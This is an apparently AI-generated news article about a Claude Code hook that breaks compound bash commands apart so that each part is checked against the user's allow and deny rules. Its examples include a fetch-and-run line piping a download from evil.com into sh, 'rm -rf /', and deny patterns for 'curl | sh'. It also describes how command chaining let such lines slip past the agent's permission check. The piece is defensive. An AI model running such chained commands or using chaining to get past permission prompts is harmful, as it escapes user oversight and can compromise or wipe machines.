Skip to content
gentic.news — AI News Intelligence Platform
Connecting to the Living Graph…

Listen to today's AI briefing

Daily podcast — 5 min, AI-narrated summary of top stories

Developer at a terminal showing a bash command chain being inspected by a PreToolUse hook, with highlighted…

This Smart Hook Fixes Claude Code's Biggest Permission Blind Spot

A new PreToolUse hook decomposes compound bash commands (&&, ||, |, etc.) to check each sub-command against your allow/deny patterns, preventing dangerous command chaining.

·Mar 23, 2026·4 min read··154 views·AI-Generated·Report error
Share:
Source: github.comvia hn_claude_code, gn_claude_code_tips, devto_claudecodeMulti-Source

The Problem: Compound Commands Bypass Your Security

Claude Code's built-in permission system has a critical gap: it matches commands as a whole string. This means git status && rm -rf / would match an allow pattern for git status:* and execute without prompting, even though it contains the dangerous rm -rf / command. The same vulnerability exists with pipes (|), subshells ($()), semicolons (;), and logical operators (||).

The Solution: Smart Permission Hook

A new open-source hook (smart_approve.py) intercepts every Bash tool call before execution. It:

  1. Decomposes compound commands into individual sub-commands
  2. Checks each piece against your existing permissions.allow and permissions.deny patterns
  3. Only allows execution if EVERY sub-command passes your rules

How It Works

The hook receives Claude Code's tool invocation JSON via stdin (standard hook interface), then:

  • Splits commands on: &&, ||, ;, |, $(), backticks, and newlines
  • Recursively extracts subshell contents for nested checking
  • Normalizes each sub-command before pattern matching:
    • Strips environment variable prefixes (EDITOR=vim git commitgit commit)
    • Removes I/O redirections (ls > out.txt 2>&1ls)
    • Filters structural keywords (do, done, then, else, fi, etc.)
    • Collapses whitespace and line continuations
    • Discards heredoc bodies
  • Loads permission patterns from ALL settings layers (global, project, local)
  • Outputs allow/deny JSON decision or falls through to normal prompting

Install It Now (2 Minutes)

# 1. Download the hook
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
    https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

# 2. Add to your Claude Code settings (~/.claude/settings.json)
# Merge this with your existing config:
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

That's it. The hook runs automatically on every Bash tool call.

Real-World Example

Before hook:

You: allow Bash(git status:*)
Claude runs: git status && curl -s http://evil.com | sh
# Entire command matches "git status:*" → EXECUTES

After hook:

Claude tries: git status && curl -s http://evil.com | sh
↓
Decomposed into:
1. git status ✅ matches allow pattern
2. curl -s http://evil.com ❌ no allow pattern → PROMPT SHOWN
3. sh ❌ no allow pattern → PROMPT SHOWN
↓
Permission prompt appears — you decide.

Why This Matters for Daily Work

  1. Safer automation: You can safely allow common commands like git status without worrying about chained malicious commands
  2. Better permission granularity: Deny patterns on dangerous commands (rm, curl | sh, wget) actually work
  3. No workflow disruption: The hook uses your existing patterns — no new configuration needed
  4. Transparent operation: Falls through to normal prompting if any sub-command fails pattern checks

Edge Cases Handled

The hook intelligently handles complex bash syntax:

  • Subshells: $(find . -name "*.py" | xargs grep -l "secret") → checks find and xargs separately
  • Line continuations: ls \\n -la → normalized to ls -la
  • Heredocs: Content between <<EOF and EOF is discarded (not treated as commands)
  • Conditional execution: test -f file.txt && echo "exists" || echo "missing" → checks all three commands

When You Might Want to Disable It

Temporarily disable the hook by removing it from your settings.json if:

  • You're working with complex bash scripts that should be treated as atomic units
  • You encounter false positives with legitimate compound commands
  • You need maximum performance (minimal overhead, but exists)

The Bigger Picture

This hook exemplifies Claude Code's extensibility through its hook system. By intercepting at the PreToolUse stage, developers can add custom security, logging, or transformation logic without modifying Claude Code itself. It's a pattern worth exploring for other customizations.

Bottom line: Install this hook today. It fixes a real security vulnerability while maintaining your existing workflow. Two minutes now could prevent a catastrophic rm -rf later.

Source: gentic.news · · author= · citation.json

AI-assisted reporting. Generated by gentic.news from multiple verified sources, fact-checked against the Living Graph of 4,300+ entities. Edited by Ala SMITH.

Following this story?

Get a weekly digest with AI predictions, trends, and analysis — free.

AI Analysis

**Immediate action**: Run the installation commands above. This isn't optional security theater—it's fixing an actual bypass in Claude Code's permission system. **Workflow change**: You can now write more permissive allow patterns safely. Instead of trying to anticipate every dangerous command combination, you can allow `git *` knowing that `git status && rm -rf /` will still trigger a prompt for the `rm` portion. **Pattern adjustment**: Review your existing `permissions.deny` patterns. Commands like `rm -rf`, `curl | sh`, and `wget -O- | bash` that were previously bypassable by command chaining will now be properly blocked. Consider adding these if you haven't already. **Testing**: After installation, test with `claude code 'run: git status && echo "test"'`. You should get a prompt for the `echo` command unless you have a matching allow pattern. This verifies the hook is working. **Project settings**: Consider adding this hook to your project's `.claude/settings.json` (committed) so all team members benefit. The hook loads patterns from all settings layers, so project-specific deny patterns will be enforced.
Compare side-by-side
Claude Code vs smart_approve.py

Mentioned in this article

Enjoyed this article?
Share:

AI Toolslive

Five one-click lenses on this article. Cached for 24h.

Pick a tool above to generate an instant lens on this article.

Related Articles

From the lab

The framework underneath this story

Every article on this site sits on top of one engine and one framework — both built by the lab.

More in Products & Launches

View all